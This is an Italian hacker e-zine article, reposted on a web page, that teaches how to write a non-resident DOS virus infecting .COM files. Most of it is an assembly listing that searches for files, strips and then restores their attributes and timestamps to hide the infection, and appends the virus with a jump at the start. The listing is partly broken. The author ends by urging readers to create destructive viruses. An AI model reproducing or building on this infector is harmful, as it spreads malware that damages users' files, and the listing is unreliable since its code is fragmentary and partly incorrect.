Copy Link
Add to Bookmark
Report

Vana Imago 1 33

eZine's profile picture
Published in 
Vana Imago
 · 5 years ago

  

  _____ ________ __                                                               _____/ |___| |_| |                                                              __/ Infettare file COM |                                                        (________________________________|                                                                                                                                      di T0rment0                                                                                                                                                                                                                          Provero' a spiegarvi la semplice strada per infettare un file com alla          fine del programma. Questa routine funziona solo se segui tutti i passi         correttamente.                                                                  Allora questa e' una semplice descrizione di cosa fara' il codice               Assembler :                                                                                                                                                        1. Trova un file .COM nella directory corrente                                  2. Salva la data e gli attributi del file.                                      3. Salva i primi 3 Bytes in uno Stack                                           4. Infetta il File e ripristina 3 bytes nuovi                                   5. Mette la vecchia data e i vecchi attributi al file                                                                                                           Iniziamo                                                                        --------                                                                        ;---------------------------------------------------------------------          -                                                                               ; Semplice routine per cercare un file .COM                                     ;---------------------------------------------------------------------          -                                                                               com_files db "*.com",0                                                          mov ah,4eh ;segna i file *.COM                                                  mov dx,com_files                                                                mov cx,3 ;Attributi di Sola lettura o Nascosti                                  int 21h ;e' OK                                                                  cmp ax,12h ;E' presente qualche file?                                           je exit ;Se il file non e' presende Esce...                                     jmp found_file                                                                  ; Invece di uscire qui puoi fare in modo che il Virus cambi dir e               ; vede se sono presenti altri dile .com con l'aiuto della                       ; path o facendo una semplice ricerca per altre                                 found_file:                                                                         mov di,[si+file] ;di indica il nome del file                                    push si                                                                         add si,file ;si indica il nome del file...                                      mov ax,offset 4300h ;prende gli Attributi del file                              mov dx,si ;nome del file in dx..                                                int 21h                                                                         mov file_attrib,cx ;Salva gli Attributi.                                        file dw 0                                                                       ; Qui togliamo tutti gli attributi al file                                      mov ax,offset 4301h ;Setta gli attributi del file                               mov cx,offset 0fffeh ;Li Setta come file normali                                mov dx,si ;nome del file                                                        int 21h                                                                         mov ax,offset 3d02h ;Apre il file con Lettura/Scrittura.                        mov dx,si ;nome del file ASCIIZ                                                 int 21h                                                                         jnb ok ;Se il file era aperto continua                                          jmp put_old_attrib ; se appare un errore mettendo i vecchi                      ; attributi, esce.                                                              ok:                                                                             mov bx,ax                                                                       mov ax,offset 5700h ;Prende la data e l'ora dal file                            int 21h                                                                         mov old_time,cx ;Salva la vecchia ora del file                                  mov old_date,dx ;Salva la vecchia data del file                                 old_time db 0                                                                   old_date db 0                                                                   ; qui infettiamo il file... ma prima salviamo i primi 3 bytes                   ; in qualche parte del nostro virus                                             mov ah,3fh ;Legge il file                                                       mov cx,3 ;Numero dei byte da leggere                                            mov dx,first_3 ;Salva i bytes nel buffer                                        add dx,si ;Nome del file...                                                     int 21h                                                                         cmp ax,3 ;Dove sono stati letti i 3 bytes?                                      jnz fix_file ;Se il file non e' come prima, esce                                first_3 equ $ ; I primi tre bytes del file originale!                           int 20h ; il virus lo infetta.                                                  nop                                                                             ; Questo muove l'indicatore del file alla fine del file                         mov ax,offset 4202h                                                             mov cx,0                                                                        mov dx,0                                                                        int 21h                                                                         mov cx,ax ;DX:AX e' la grandezza del file                                       sub ax,3 ;sottrae 3                                                             add cx,offset c_len_y                                                           mov di,si                                                                       sub di,offset c_len_x                                                           mov [di],cx ;Modifica il 2ø e il 3ø bytes del programma                         ; Scrive il nostro virus nel file                                               mov ah,40h                                                                      mov cx,virlength ;Grandezza del virus                                           mov dx,si ;Nome del file...                                                     sub dx,offset codelength ;Lunghezza del codice del virus                        int 21h                                                                         cmp ax,offset virlength ;tutti i byte sono stati scritti?                       jnz fix_file ;Se la risposta e' no, esce                                        ;Sposta l'indicatore del file all'inizio del file e scrive                      ;3 bytes JMP all'inizio del file                                                mov ax,offset 4200h                                                             mov cx,0                                                                        mov dx,0                                                                        int 21h                                                                         mov ah,40h ;Scrive nel file                                                     mov cx,3 ;Numero dei bytes da scrivere                                          mov dx,si ;Nome del file...                                                     add dx,jump ;Inidica il nuovo stato degli JMP                                   int 21h                                                                         jump db 0e9h ;Questo e' il JMP che metteremo nell'inizio del file               ;Rimette la vecchia data e la vecchia ora                                       fix_file:                                                                       mov dx,old_date ;Vecchia data                                                   mov cx,old_time ;Vecchia ora                                                    and cx,offset 0ffe0h ;Attribbuti Flat                                           mov ax,offset 5701h                                                             int 21h                                                                         mov ah,3eh                                                                      int 21h ;Chiude il file                                                         ; Qui metteremo al file i suoi vecchi attributi                                 put_old_attrib:                                                                 mov ax,offset 4301h                                                             mov cx,old_att ;vecchi attributi del File                                       mov dx,si ;Nome del file....                                                    int 21h                                                                         ;----------------------------- EnD                                                                                                                                                                                                       Gia fatto! Semplice no? L'ho reso piu' semplice di come dovrebbe essere         infatti non ho messo la ricerca del path.                                       Comunque questo funziona bene come Virus Non-Resident . Perche' per farlo       diventare residente si dovra' modificare il TSR.                                Usare questo codice, pero', e' semplice e veloce                                Mi raccomando, non credete che sia il metodo piu' efficace, esso                e' stato creato solo con lo scopo di farvi imparare come funziona               la ricerca e l'infezione dei file COM.                                          Create virii distruttivi, per ora e' tutto. Byez                                                                                                                       --->T0rment0<----                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT